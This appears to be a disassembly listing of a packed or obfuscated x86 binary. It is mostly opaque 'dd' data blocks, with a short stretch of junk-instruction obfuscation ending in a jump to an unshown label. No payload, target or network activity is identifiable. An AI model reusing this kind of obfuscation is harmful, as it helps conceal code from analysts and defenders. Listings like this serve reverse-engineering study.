dd 71D56127h, 4ED96F7Ch, 90EEF985h, 762432D8h, 7E1A9BE4h
dd 13828122h, 3266227Ch, 35727624h, 0B1191CA7h, 0EC807211h
dd 0D4D15347h, 0F159C6A7h, 0EF948221h, 9D1A9BE8h, 10179CECh
dd 7D1F1870h, 0D6AD56EAh, 67FE9500h, 24335117h, 0BA109F76h
dd 6C633D1Ch, 0A6F8897Ch, 7C6C62E2h, 730081EEh, 6C62A2E3h
dd 4E3DA97Ch, 0A922BD66h, 5CE67DBh, 0B24E0000h, 31433037h
dd 0A037B4B5h, 6C6A8ACEh, 8129567Ch, 0CF7EB9E6h, 5C5D2A27h
dd 0EB7648DFh, 77C6C3Bh, 0F9BB0B78h, 507C6C3Ah, 571A443Dh
dd 31BFAF5Eh, 4C782799h, 0DBA9CAD7h, 58F0Dh, 7EB99600h
dd 707549DCh, 0C47C6C4Eh, 387CCABBh, 137C6C4Eh, 57CCF8A7h
dd 8DDBA909h, 570h, 5E76D916h, 5E30A765h, 7C6C430Fh, 0D0C95C5Bh
dd 0B5617953h, 839F3785h, 816E78D5h, 65271008h, 7CAD9CF2h
dd 7E3906C9h, 85D7B2E7h, 3608B61Dh, 82BD13A0h, 1AB64DD8h
dd 0A2308685h, 881FA9Ch, 0A1B2304Ch, 81E98BCDh, 0D15E5900h
dd 0CE51C3A0h, 0CEC352D3h, 7BD9279Bh, 30E54D64h, 0ECAC0299h
dd 18008165h, 8AEB9887h, 878045FEh, 994D47B4h, 5DE6B218h
dd 7E3A7E50h, 0F9860081h, 10891878h, 106E4968h, 818058h
dd 0B6E1B64h, 0A575DD26h, 5AA41B1Eh, 5C88460Fh, 7CD33A3h
dd 0C56C0000h, 70F2AECAh, 0E47B1775h, 670F9BF9h, 16920E6Ah
dd 5527113h, 0D0B0B13Dh, 452722C4h, 0CFADAC49h, 375550D3h
dd 0F3B5099Ch, 0C17C71D6h, 0FE85A47Fh, 0F9C28AFBh, 742DC453h
dd 3941D033h, 0B5238B50h, 7C721BA2h, 0FD6B0976h, 7C721AE7h
dd 0A74351DDh, 575425A2h, 0F47F6DD6h, 0FD3B93F1h, 0C2FED047h
dd 0E7C721Ah, 0E3801061h, 4ED32A10h, 0C388026Ch, 0D68EF12Bh
dd 0C550D15Eh, 238B8E2Bh, 0F39BC987h, 0F7AC7C71h, 9565C64Fh
dd 80225728h, 0BD19B4B8h, 0EA9703ABh, 9A197517h, 1450EE9Fh
dd 0B37C71FEh, 0B9AD48E4h, 0CCBD3A27h, 4E3F2ABCh, 500AA021h
dd 0A7A241EBh, 92217B30h, 0F28AC657h, 1C2BF00Dh, 872FACBCh
dd 0BB13AAFBh, 6FD70EFDh, 13F6E5CCh, 7103F2C1h, 73F0A036h
dd 0EDB70774h, 0EE6FD6E7h, 0CE75BF6Ch, 0FC1FA9CBh, 74000000h
dd 8AFBFE85h, 0F7C73FEh, 2432F9BFh, 999C2776h, 0F19BA4E8h
dd 0D3FF0866h, 4C2B7C71h, 55E113F1h, 0CC7A350Ch, 6B7h
dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h, 6F0D0CA8h
dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh
dd 71D80D4Bh, 8205DB7Ch, 8AFBFE85h, 1D7F72FEh, 72E5E481h
dd 9505A6DBh, 6C0C633h, 250A1048h, 0BFAA3C76h, 0D4D3A1CEh
dd 8D36627Eh, 0E08D1FB6h, 6D3949E1h, 9CEB34C1h, 0F9D4E709h
dd 7856ED78h, 7624F640h, 2C4BE38Ch, 46D1D05Ch, 5764214Dh
dd 3991864Fh, 0D58AE4BAh, 0F76E630Fh, 72D8D965h, 1C5DC656h
dd 787DDE1h, 1C000000h, 6C67h, 0FE85FC00h, 783C8AFBh, 59762442h
dd 96D54942h, 0AD9B1BE3h, 4C944B05h, 0D1C0A0A7h, 0CDBAB73Fh
dd 0EF8A06ACh, 8ACB9BE8h, 8576252Fh, 23CE12C9h, 3024643Ah
dd 0F7B07625h, 85892A76h, 0F888F9F8h, 7F0D7A7Dh, 0F183F0F5h
dd 87047574h, 47DF14CBh, 0C762B675h, 7836A0C0h, 8376243Ah
dd 0E11A37EDh, 0FEDAEFDDh, 6734FFFFh, 2B8h, 0FFE85FCh
dd 0C3A9E28Bh, 0F7840537h, 24932D67h, 0EEA37276h, 0F80D12E7h
dd 0C880DE1Ah, 147624AFh, 0A44EA6Bh, 0E1E48F55h, 696C1783h
dd 0B01A4A18h, 852E7624h, 0A49FF18Eh, 44D86FE6h, 4F0DA5BCh
dd 7C7250B8h, 42B80760h, 740C55A4h, 5610BBBh, 51D00000h
dd 0DC66325Eh, 58EFBBD9h, 0F3732F4Dh, 7A0692FEh, 99FE0567h
dd 640405A1h, 0E98B9628h, 533130BDh, 0DBB9BC47h, 5F197508h
dd 6D7C71D9h, 0FE8548DBh, 72FE8AFBh, 0C5A2168Bh, 634D2623h
dd 84E46519h, 7AB7940Dh, 0A69526FDh, 0E4E38010h, 5F940D84h
dd 78339505h, 0F17D1DB5h, 35CB65F0h, 0CB5A5B28h, 2452B5F3h
dd 0CE640376h, 5257D3A1h, 0BC635D25h, 0ABC9C874h, 0E1321803h
dd 1E6C2DDh, 0B9590000h, 1AA8D97Bh, 75133148h, 0C8FCA31Fh
dd 230FEC53h, 1CF89h, 7BB91200h, 38704ED9h, 84762433h
dd 663C8AFBh, 3D751331h, 7913DA81h, 3854FAE7h, 230FECC3h
dd 1AB19h, 7BB98200h, 4A9C2E2Dh, 14957053h, 5A6F2D81h
dd 0F9907624h, 245AE3A5h, 20B6F176h, 0C8661790h, 7513597Ah
dd 0E6CEBD29h, 230FC43Dh, 17BE7h, 0B803C00h, 2DB2431Fh
dd 8A59453Eh, 7EFFFA78h, 9A3804D8h, 3FFDB30Bh, 0ACCB7624h
dd 3F330FDFh, 179D7513h, 6F176512h, 239DE592h, 3413B47Ch
dd 33E85AB7h, 0D4D350ECh, 0E1B56E7Eh, 396F230Fh, 0B4000001h
dd 0C19E0B80h, 5D6517DAh, 0A0C8DAACh, 0BA320C2h, 90E1E48Fh
dd 0F1646300h, 5229C85Fh, 6E0E66FBh, 0E8C651DEh, 76245CB0h
dd 0CFDB733Ch, 9F36D4EFh, 6C6F1ECFh, 0CB7A2F7Ch, 2BF4E9FDh
dd 55525EF4h, 9ECE9624h, 0C9857C6Ch, 7EC93212h, 2513DBA9h
dd 88000000h, 49DC7EB9h, 6C406475h, 38BB557Ch, 9AE5953Dh
dd 40175DEDh, 80327C6Ch, 336EDDBh, 9FECDBA9h, 37000000h
dd 4C5BEC80h, 8A892AE6h, 0E03AFFDh, 647D0597h, 50D3A1CEh
dd 0AF542455h, 47D9C8A8h, 0A9D6A7BAh, 37E25301h, 0ED967624h
dd 19228A16h, 0B5C2C560h, 49E077F4h, 369CDCB2h, 4F287624h
dd 0D87CE9E7h, 99E87C6Eh, 6ED783C5h, 0A956517Ch, 0E1DA23Eh
dd 0D753EDA8h, 5EDAB6D2h, 0DC0CE45Bh, 453A0C58h, 356D5h
dd 455CE500h, 0CCC96B27h, 706FF0ACh, 0E5FC8410h, 6A6F0B87h
dd 0B48CE50Eh, 3F6B0908h, 0C0DCBCA9h, 4A462225h, 15CEAAA9h
dd 0DB6C2C82h, 0E6787C71h, 0F8F9853Dh, 60670C98h, 0FE856300h
dd 61FB8AFBh, 0AF6BC3DEh, 0F5630104h, 762432B0h, 0AA3DDFD8h
dd 6C4D85D4h, 38C5D17Ch, 3BD8B839h, 6CFBFE85h, 0FD5554D0h
dd 6915A7FEh, 349A1B68h, 0B8D8DF64h, 0B225E7D0h, 6C4531DCh
dd 0BDCAB57Ch, 6C44672Dh, 13169D7Ch, 976A1662h, 0A01FD3E6h
dd 17D4866Bh, 0A900CA31h, 2F10DBh, 0E2790000h, 6C4CCC8Ch
dd 379F187Ch, 0DC7EB9ACh, 40647549h, 0F7B07C6Ch, 2027CC60h
dd 175DED8Ah, 327C6C40h, 36EDDB80h, 0ECDBA903h, 0C9h, 0FBFE8537h
dd 7F72FE8Ah, 0F2F1720Eh, 0C3B9F285h, 0A324F1E1h, 0E1820EA4h
dd 5DC886E2h, 6976252Ch, 0F1ADCFCAh, 6F067772h, 23C286D8h
dd 720E7625h, 0DA70F1ECh, 4933902h, 6D53E3AAh, 1878077Ch
dd 52C587B0h, 948221BBh, 1B68E9E8h, 0A9A6349Ah, 0C482B7B5h
dd 0C39B8C28h, 7626AC85h, 0A6D75453h, 4D8EACD9h, 1FCACDAAh
dd 0C76F3BB7h, 7FFCBDCAh, 4E97B3E8h, 0B5B933DDh, 58E4781Dh
dd 0C36F3B59h, 0DF5C55DDh, 0A0A28660h, 5FCF4012h, 1FFh
dd 0DCBCB332h, 452722C0h, 0C9ABB649h, 3C5C55DDh, 0A7C5C460h
dd 630F379Ch, 0F096026Eh, 9E1B7715h, 6ADF99Bh, 0DBF26103h
dd 71DCC583h, 0DA4D137Ch, 98F8F985h, 60670Ch, 0DC7EB963h
dd 951EB249h, 0F1B7079Eh, 0FF762432h, 2DBC1AB0h, 1C7C6C40h
dd 3F6F2985h, 327D7C6Ch, 0E2931C9Ch, 153E1E93h, 0C316137Ah
dd 6CB4ADEBh, 0FF7C3B7Ch, 0B53B7957h, 0A4167C6Ch, 8C5AC1E7h
dd 0C180DBA9h, 0E9000000h, 0D8A9AC57h, 855073DBh, 0FE8AFBFEh
dd 53156972h, 81762432h, 1293E0E1h, 0EB981966h, 2437EA5Bh
dd 1E159E76h, 744DF587h, 0B0D06607h, 0CD585FE4h, 0C4B5B033h
dd 369BDDB1h, 4E297624h, 0D5D053C1h, 406FC7A4h, 0FE69330Ch
dd 6C66DDA0h, 26E097Ch, 46D891AAh, 734BDA5Bh, 82B6FF9Dh
dd 87198CEBh, 0E9AE6FBh, 0BCD06F62h, 0FA12A0F5h, 10D9505h
dd 852C0000h, 30B2EE8Ah, 0A43B5735h, 27CFDBB9h, 0D6524E2Ah
dd 0C592B1D3h, 107071FDh, 85E7E284h, 0F6D6C09h, 77151093h
dd 0B3F5C9DCh, 17C71DDh, 0F985E4BFh, 770998F8h, 0CE8AE4CFh
dd 1A762432h, 0DAB61C9Dh, 31CB5A59h, 9F24B4B5h, 0D963298h
dd 56E8FE85h, 0EABDCA4Bh, 0D8A9AC56h, 1CA773DBh, 962A7B19h
dd 0EFBF17EAh, 0CF9F36D4h, 7C71D334h, 0B6C2B3FCh, 9899250Dh
dd 0D0A0A4EFh, 1986A246h, 7376F28Eh, 3AD6CFDBh, 8713BBBEh
dd 3A88F9FCh, 0C31DBB1Ch, 1C6D640Ch, 4219E48Ch, 0BE897695h
dd 0DFADDA5Bh, 0EBC55D48h, 9D34FF34h, 17646103h, 2B351D96h
dd 7BA36943h, 0FE2299D3h, 50E77E75h, 0B273A7Eh, 51F986B7h
dd 0DBDE6531h, 39BE574Ch, 91024618h, 0A1CEB70Ah, 52C092D4h
dd 5ADFFFCh, 6D2B831Ah, 7BB70B09h, 0A2A6E3Ch, 0C9B6B70Bh
dd 0DE9C3B48h, 2E38BB61h, 0F7FA8F82h, 9AE93DFBh, 821E7AFBh
dd 0E595E2E1h, 3, 85DA4162h, 494E5FCh, 790B787Fh, 0FC8CFDFCh
dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
dd 0B9BFCCC9h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241489h
dd 706Fh, 68242C89h, 1096h, 53241489h, 8D48AFBBh, 0E9BBBD36h
dd 0C5813CDAh, 5EE7585Ah, 0ED81DD29h, 5EE7585Ah, 148B545Bh
dd 4C48124h, 53000000h, 5A89EB89h, 241C8B08h, 8B04C483h
dd 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 2434FF5Ch
dd 4C4835Dh, 0FAD124E9h, 0C37A50FFh, 4DACDBB8h, 0FFC50306h
dd 6DD811E0h, 75EC2021h, 4C40D953h, 15624675h, 5A85CE59h
dd 1AB2513Fh, 4DD35F60h, 0F9DF2948h, 55FBEF46h, 0DD6FC917h
dd 27A85C42h, 0CA539E52h, 0ECAAF96Dh, 342CA864h, 0B8A59419h
dd 53502556h, 4174FC70h, 0DD359834h, 703A3B1Dh, 0C6AFA57Eh
dd 0F8636B1Bh, 1B3CA605h, 6738530Dh, 4642106Ch, 0AC9CF502h
dd 11887071h, 0FA139A28h, 2DEB4Ch, 0D0000000h, 9CBFAE0Dh
dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
dd 9D8993h, 67268168h, 3B2BD14h, 3F8709BFh, 0B9BE9h, 0AEE86800h
dd 6EE9064Dh, 68FFFAD0h, 64DB00Bh, 0FAD064E9h, 0B11B68FFh
dd 5AE9064Dh, 68FFFAD0h, 64DB199h, 0FAD050E9h, 0B27468FFh
dd 46E9064Dh, 68FFFAD0h, 64DB3BBh, 0FAD03CE9h, 0B47B68FFh
dd 32E9064Dh, 68FFFAD0h, 64DB6B1h, 0FAD028E9h, 0B7D468FFh
dd 1EE9064Dh, 0D3FFFAD0h, 613D5F52h, 0EEBAC6C3h, 722E4A59h
dd 19DFFF2h, 0FF046465h, 0F02AE96h, 0B2AF316Dh, 383FBAD6h
dd 0A0A74C58h, 227C13C0h, 7C71E066h, 0B93BEC72h, 7549DC7Eh
dd 7C71E11Ah, 0FA96016Eh, 51EB7A79h, 0C5A2D3CEh, 0A2415D6Dh
dd 0BD86D6A7h, 5FF1881Fh, 6674DAD7h, 82BF8DECh, 178C1B64h
dd 0E8A37195h, 76630CCAh, 1146CF91h, 0C15B3A90h, 49452722h
dd 0FEDEAFAAh, 0F99007C5h, 0A8D9DC67h, 0D07563CBh, 247C6CB4h
dd 2AFEE45Bh, 57C80C5Bh, 9FDA7h, 0CDC46D00h, 7471F3AFh
dd 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h, 0C7D3B1B0h
dd 48442421h, 0D2CEAAADh, 9D365251h, 0E0F4B40Ah, 7EC07C71h
dd 0FBFE85A5h, 7E75FE8Ah, 0CD81BA12h, 2432B7F1h, 0FD7A0576h
dd 0B939D36Ah, 17512DB8h, 0A5762433h, 0B76674DAh, 0D67C6C45h
dd 0CBB8BF3Ah, 0B7404AAh, 44A8EC7Ah, 37A37C6Ch, 0A75C48h
dd 3D7DDBA9h, 0A6000000h, 27CF7EB9h, 0C95C5D2Ah, 2432B3F5h
dd 0F9660176h, 3F89106Eh, 2A557C6Ch, 3FC78D5Dh, 0D0827C6Ch
dd 6ACFC46Bh, 0E4A38E31h, 114CCFD1h, 70E87064h, 0A159C2DAh
dd 0B783DBA9h, 18000000h, 8AFBFE85h, 0E7F72FEh, 85F2F172h
dd 0DE494CF7h, 0EA775247h, 254DA3BDh, 247D3375h, 50E68176h
dd 80DBA630h, 4CF77624h, 0F47F2B49h, 0F3CC80F1h, 5DE0BE29h
dd 897C6CA5h, 112A82EEh, 4BA7DC4Bh, 0DC5769ABh, 7A54C169h
dd 82B7929Eh, 861A8DEAh, 0DC70E7FAh, 21C25E51h, 0A5FC8C22h
dd 0C0966B0Bh, 3CC6D450h, 0AA2B4839h, 0A16F7513h, 5ECC4312h
dd 8DAh, 88E8E78Eh, 0F193961Ch, 650702A5h, 0E8888929h
dd 533130BCh, 0DF5B6330h, 5CE2BEDAh, 0CA772341h, 7AF995F7h
dd 2F461D7Fh, 71E3195Fh, 8601A77Ch, 698E0B80h, 0B71B9AAh
dd 764BF7A3h, 0FEF57E2Ah, 7EB9F192h, 647549DCh, 0B07C6C40h
dd 3FCB8DE1h, 9E197C6Ch, 0E3606702h, 3F80C492h, 0C4CB7C6Ch
dd 198B9628h, 0BB359D9Ch, 33BE0C4h, 0D6E1DBA9h, 3A000000h
dd 8AFBFE85h, 0E7F72FEh, 2436F1B0h, 0A756DD76h, 9007C2F1h
dd 0B1D35019h, 337549E0h, 647624B1h, 24B14E0Ah, 6F1D9A76h
dd 45EEAA00h
dd 0CA66314Eh, 0BBBE442Ah, 5F2CADCAh, 1B24F85Eh, 0B84FE671h
dd 0B10B4D21h, 0DED97624h, 24B0C880h, 0C36B1476h, 6CDA8895h
dd 0C4535C7Ch, 0DE739ACFh, 13BB6029h, 7E1C2777h, 0C2097E7h
dd 2F4882B7h, 3D2EC3B8h, 0A47B244Ah, 49F5870Eh, 0AFDCD95Bh
dd 3AD641CEh, 0ADCABBBEh, 902C6505h, 562130Eh, 4041EDADh
dd 0A171D1FDh, 0BA28E712h, 7CAh, 7818179Eh, 0E183862Ch
dd 553712B5h, 0D8B8B939h, 432120CCh, 0CF6B5320h, 6CF2AECAh
dd 0FA871371h, 6A0985E7h, 3F560D6Fh, 71E4296Fh, 7611B77Ch
dd 98F8F985h, 60670Ch, 0FBFE8563h, 7E75FE8Ah, 33004412h
dd 2F087624h, 0C1A4FA6Dh, 157C71E0h, 0C864FB6Ah, 14842A2Dh
dd 9C08686Fh, 2D631017h, 81DD4812h, 82B9F568h, 2E28BF51h
dd 0AA008184h, 0B6DE610Eh, 90129DD6h, 74C6F1Fh, 951C0000h
dd 0A2FE9Ah, 942B6705h, 37BFEB89h, 0A6425E3Ah, 0D5A2C1A3h
dd 204041EDh, 95F7D274h, 1F7D7CF9h, 87E5E083h, 0A3E5B9CCh
dd 317C71E3h, 0FE85F4AFh, 75FE8AFBh, 0DC79017Eh, 0D4A5A440h
dd 9E4D7FD7h, 0CEAAA94Ah, 0E10EF52Eh, 3DCF66DDh, 0A8E0BEABh
dd 3476243Eh, 107BE34Bh, 0A0000000h, 0BA6F0B80h, 8D373B85h
dd 1EC9725h, 470C0000h, 762432FDh, 0DF9A2C17h, 33FE154Dh
dd 0F8D641CEh, 7C724492h, 702A13Bh, 11A10976h, 0DA6DFF96h
dd 12AE67CFh, 69039291h, 5356DDCBh, 0B7C44522h, 544060F6h
dd 0CCDBA8AFh, 83837C35h, 0DA2D0AB1h, 719DCC8Ch, 0C1F81F7Ch
dd 0F464F43Ch, 0FB53FB84h, 0CB87EEC0h, 9D0E4BADh, 1435891Ch
dd 0E082B9D2h, 0EF823887h, 0FBB4129Dh, 6714Bh, 7170F100h
dd 0F8FD8713h, 6C7B0C98h, 1110900Ch, 869B2773h, 0C0F8D9FAh
dd 4B472524h, 0DCC8A8B5h, 66325E51h, 29BAC6DDh, 0E4803896h
dd 0FA4C7C71h, 0FBFE8529h, 0A297376Ch, 5EDD7BDDh, 0C1AEDFD2h
dd 0A1E43740h, 335CB110h, 0E78C1C9Bh, 42DE75E0h, 0B5F3A3A6h
dd 376246Dh, 4948F464h, 29CCD2E1h, 87EF7170h, 0F2700C61h
dd 78F986F7h, 0F92398D2h, 841D7F7Ah, 3B4857E8h, 43B8D47Ah
dd 99DDE185h, 7, 0F46702h, 0B9FC0000h, 0B249DC7Eh, 318D961Eh
dd 76243277h, 15BD3A45h, 71E0E847h, 45B3207Ch, 0B42E73A8h
dd 0AA631BEh, 64FB6A69h, 72174E0Ah, 0B51D9A7Ch, 4EE57C15h
dd 72173870h, 0ABFB847Ch, 7C7216EDh, 0EB99841Bh, 0C96A268Ch
dd 0E8D3BDCAh, 67DBB322h, 482BFC4h, 62C8D768h, 22BE2956h
dd 79138281h, 0C46EFAE7h, 4D5969C1h, 9FD9B5A6h, 0CD76247Bh
dd 0A0532120h, 5EC840ACh, 60E16E0Ah, 27C25EF5h, 4525320h
dd 7624C044h, 30BF1790h, 2B2ECB65h, 19F55D5Ah, 0DED86F1Eh
dd 40215E55h, 67F5B2C3h, 0F4B5C2DFh, 0B749E077h, 3B78090Ch
dd 0F020C593h, 8BF47C6Ch, 5AD17C34h, 25D54A0Ch, 52Ah, 0D8B8B73Eh
dd 412326CCh, 0B5D7B255h, 385859D9h, 0A3C1C06Ch, 6F0B3380h
dd 0C920E6Ah, 9A277311h, 0AA9E587h, 0DFF66D0Fh, 71E5C98Fh
dd 0D6B1177Ch, 15B67h, 7EB9FC00h, 0DCB249DCh, 7624329Ch
dd 9109BB28h, 3625B62Fh, 0DD742189h, 0A5306846h, 0F3BC7624h
dd 53227D5Bh, 0E9837C72h, 70314E4Bh, 9F625907h, 842AEE9Ah
dd 801C8BF4h, 0DF71E4E3h, 0E9F95154h, 842036BDh, 686D1785h
dd 6C1D9A1Bh, 0E2751720h, 0C035B14Bh, 0D749CB2Bh, 1B68E964h
dd 0ACA6349Ah, 2482BF13h, 0B330CC5Bh, 3BB8D4B4h, 36014F3Ch
dd 0D66A0194h, 44255231h, 145E0EEh, 16917C6Dh, 5AE10F57h
dd 0C846390Ch, 46Ah, 187877FEh, 81E3E68Ch, 0F5977215h
dd 78181999h, 0E381802Ch, 2FCBF3C0h, 0CC524E2Ah, 5AE7B3D1h
dd 0CA692547h, 9F36ADCFh, 71E689CFh, 16F1577Ch, 777C0B80h
dd 0EB10E8B8h, 7C3D4A4Fh, 38BB57FFh, 0B73C4C3Dh, 288A0C44h
dd 23857F6Fh, 2D5511Dh, 98E99617h, 1E6F6A08h, 98F6E782h
dd 7624C7E0h, 750283ECh, 36CFBC0Eh, 0CF6B0590h, 0B56A64CAh
dd 56C1C46Fh, 4C3D38BAh, 53FB872Fh, 0DDE19BA8h, 4B72h
dd 7EB9A900h, 0F9B249DCh, 0EAC8B6ACh, 654FAD9h, 7C6D3FBEh
dd 0FAE97E0Ah, 0B156EA7Dh, 0E64E43D2h, 4E8012E4h, 504FD040h
dd 3570EEFAh, 617C6C7Ch, 5433D4C2h, 1D4B40D7h, 6615BC0h
dd 0E3BFCB63h, 0D3D6525Ch, 9BB52552h, 12000003h, 6EF9F885h
dd 69B2A2D7h, 551893C6h, 24B24305h, 40169176h, 0C7C26133h
dd 5C4AE9A5h, 2E3BCDD1h, 52D35051h, 36BE5225h, 852D4A3Bh
dd 0E7786E15h, 0B7EC7BF8h, 0A067CE51h, 205836DAh, 0AC7624F0h
dd 0DCEC42C3h, 8E19C3FCh, 19F82F7h, 0F6FAC2D5h, 2B4D8A27h
dd 963CBDE0h, 6CFD1538h, 0D9D6D17Ch, 6CDD4B09h, 0FDFC797Ch
dd 7F6AFC8Ch, 1ECD810Eh, 0CA6134D9h, 6CDCB4F4h, 0C874007Ch
dd 7AFBB8C9h, 3259AD4h, 0DBA9B818h, 65C2h, 93F6AB00h, 6D84A190h
dd 80D5EE44h, 0D55E44ECh, 43C0A1DEh, 742813EBh, 24325E1Ah
dd 891E6A76h, 99C1D9Ah, 6C4024B5h, 0F87B157Ch, 5A2555FDh
dd 3AC65A2Dh, 7D7E37D3h, 75F293F2h, 36B5FFDDh, 47E37C6Ch
dd 0DF673542h, 0CCBEB5C2h, 0B935C61Fh, 0A39E2C2h, 13AADBA9h
dd 6C3AFDBBh, 6ACCB7Ch, 0BCC6h, 0FE855D00h, 72FE8AFBh
dd 40C1C06Ch, 0C7C26133h, 0C736BC50h, 0C9709444h, 0ED9A1BCFh
dd 0FB89268Ch, 411F7D78h, 7624FF00h, 0B52027CCh, 349A9F1Bh
dd 7C7BF894h, 0D476410Fh, 2E206D41h, 28447C6Dh, 9A0D8A8Dh
dd 0F7656006h, 7B38494Ch, 0A5DEB7D3h, 6FFEB8BAh, 5D971B2h
dd 0A905903Ah, 82B7BCB6h, 4EE27532h, 0D1CDAFA2h, 0B3E95455h
dd 8512A14Dh, 2349C0Ah, 8D340000h, 38BAD6B2h, 0BC435F3Dh
dd 2FD7C3A1h, 0DE5A3652h, 3D9AB9DBh, 18787905h, 8DEFFA8Ch
dd 0F7959411h, 7F1D189Bh, 0BBFDD1E4h, 97C71E8h, 0F985ECB7h
dd 770998F8h, 2EE002CBh, 6B1B5914h, 0B61C9DEAh, 3E5A59DAh
dd 0DC7EB995h, 40647549h, 0F7B07C6Ch, 0B3F5C960h, 17C6C3Fh
dd 13A3D066h, 7C6C3F51h, 8BF8FD87h, 0D7A67F9h, 8F443B75h
dd 13912B62h, 0FB787905h, 0E87FED8Ah, 0A41B55FDh, 0A9039B80h
dd 0F541DBh, 85DA0000h, 52FB0FFEh, 0DFA70D39h, 0D753215Eh
dd 0CA943D2h, 0E091941Eh, 0FAC0283h, 2527F2BFh, 4D55DE76h
dd 0D1DEAFBAh, 972EC550h, 252481C7h, 72204F76h, 76252536h
dd 3D4DE582h, 11D02F64h, 16F7D6E4h, 5453D040h, 8C4E6927h
dd 2F84519h, 37C97C6Dh, 71A9A8Ch, 1D88E986h, 6CC20741h
dd 4AAD57Ch, 1690B74h, 0AD019436h, 82B76353h, 0A7F1691h
dd 4C7D7837h, 41E9682Ah, 4F0F8EFBh, 0E212D625h, 18994247h
dd 0AD49E3B2h, 54D0CCACh, 38B8EA55h, 118E12A1h, 11161h
dd 0D1D05100h, 585DE7B3h, 0CCDB6C38h, 7170F0ACh, 0E6FB8713h
dd 2018799Ah, 0ABE78584h, 3C680815h, 0C6D2BEB1h, 895A263Dh
dd 0E9E098F6h, 5AEC7C71h, 47EC80C9h, 0DC723340h, 0E645B03Ch
dd 0DA9EF07Fh, 0E676244Ah, 0B5A9EC99h, 0C2DEBA3Bh, 0B5B43121h
dd 0A33D5434h, 0E9940401h, 85274016h, 0FB8AFBFEh, 70C6C361h
dd 640403A0h, 0F6612B14h, 71E0CF98h, 0DC62FE7Ch, 2E4969C1h
dd 878225B7h, 0F7FC89F6h, 0FD293D77h, 146413BBh, 66FD686Fh
dd 71CE5008h, 0BB139C7Ch, 0F5F0732Fh, 7DE53684h, 1DB4B63Ch
dd 5D702886h, 257CB5ABh, 0AB5E0F49h, 55D2DDB5h, 0D41CC3FDh
dd 5C48282Fh, 892AC6D7h, 5D9CDC8Ah, 4F28B5ABh, 43E3B1CEh
dd 5E420658h, 0E18EB5ABh, 28620C94h, 32B32031h
dd 34CBC245h, 0ABAB1E5Ah, 65CDAAB5h, 0C76CB46Bh, 255257D3h
dd 0E9A5C744h, 673E4F4Ah, 0AABAFED0h, 5EE6B5ABh, 7753243h
dd 0D791ED78h, 0E5B5ABAAh, 386349Ah, 1D000000h, 0FC85DA41h
dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
dd 0CA6A0677h, 55EA86F7h, 0C96B3976h
db 0CCh, 0BFh, 0B9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
push 3001h
mov [esp], ebp
push edx
push ebx
mov ebx, 4036234Dh
mov edx, ebx
pop ebx
mov esi, 0C6178B09h
add esi, edx
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push esi
push ebx
mov ebx, 5ECD5D43h
sub [esp+4], ebx
pop ebx
pop dword ptr [ebp+8]
add dword ptr [ebp+8], 5ECD5D43h
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_541331
; ---------------------------------------------------------------------------
dw 752Ah
dd 2D35B1B1h, 2366A036h, 4DB90AB8h, 0FFC50306h, 0CBE785E0h
dd 433E9672h, 1718235Bh, 5B2FED46h, 2BEE0E32h, 59832000h
dd 51A53C20h, 535E3353h, 6327D521h, 397DE518h, 66C08B08h
dd 0BD83D08Bh, 6481299h, 83097500h, 480D35BDh, 19740006h
dd 0C08B5350h, 3FCB8h, 0B9858900h, 8D064829h, 4AA4649Dh
dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 3FCB8h, 0B9858900h
dd 8D064829h, 4AA1539Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0D753BB3Fh
dd 6AD68B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 4C3CC356h, 1A456A5h, 0B70F1476h
dd 8BD78BD2h, 0BE9C0h, 3BAD0000h, 0EDEB3CB8h, 81687DA6h
dd 0E5BD839Ch, 1064830h, 70840Fh, 6A0000h
db 53h, 0E8h
word_594F42 dw 3 ; DATA XREF: ___:off_4384A0o
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8BE2D8C3h, 890F53DFh, 0Dh, 8E9h, 0E70B8700h, 12EA722Ch
dd 0BD835AADh, 64830F1h, 2F850F00h, 80000000h, 0BD8317DEh
dd 648202Dh, 83840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CE9AC353h
dd 68E9145Dh, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 619AC356h, 22069AA9h
dd 0F66B2ABh, 0DE8BD1BFh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 48C35141h
dd 9E9h, 5AF4EA00h, 706786CBh, 8153D2BCh, 0A998F7CBh, 55CA5A0Eh
dd 0E6EE0BE1h, 54543DCAh, 8AEEFB74h, 0E39CE033h, 0C03AB033h
dd 6945736Bh, 618A9477h, 0FD439477h, 0A0A3B033h, 0A487363h
dd 4316E44h, 0AA9A7C16h, 1FEC3BCFh, 0B51DDAE3h, 0E08EB3DBh
dd 231A9033h, 0C4CF396Eh, 0C4953137h, 0E0E8A937h, 2321F533h
dd 723DCCFh, 0EEF464A9h, 0D58EB033h, 161998B6h, 0C0BE75FAh
dd 4EA88F46h, 0E5F15985h, 0EF14B033h, 6935498Ch, 0E01DB031h
dd 0B5EFEA60h, 0E047B0DBh, 0D22ED33h, 0E69C0BEBh, 8BBB059h
dd 0E074B030h, 0BBF9EB13h, 0E439ECBAh, 0E4AAF4B2h, 0E047B027h
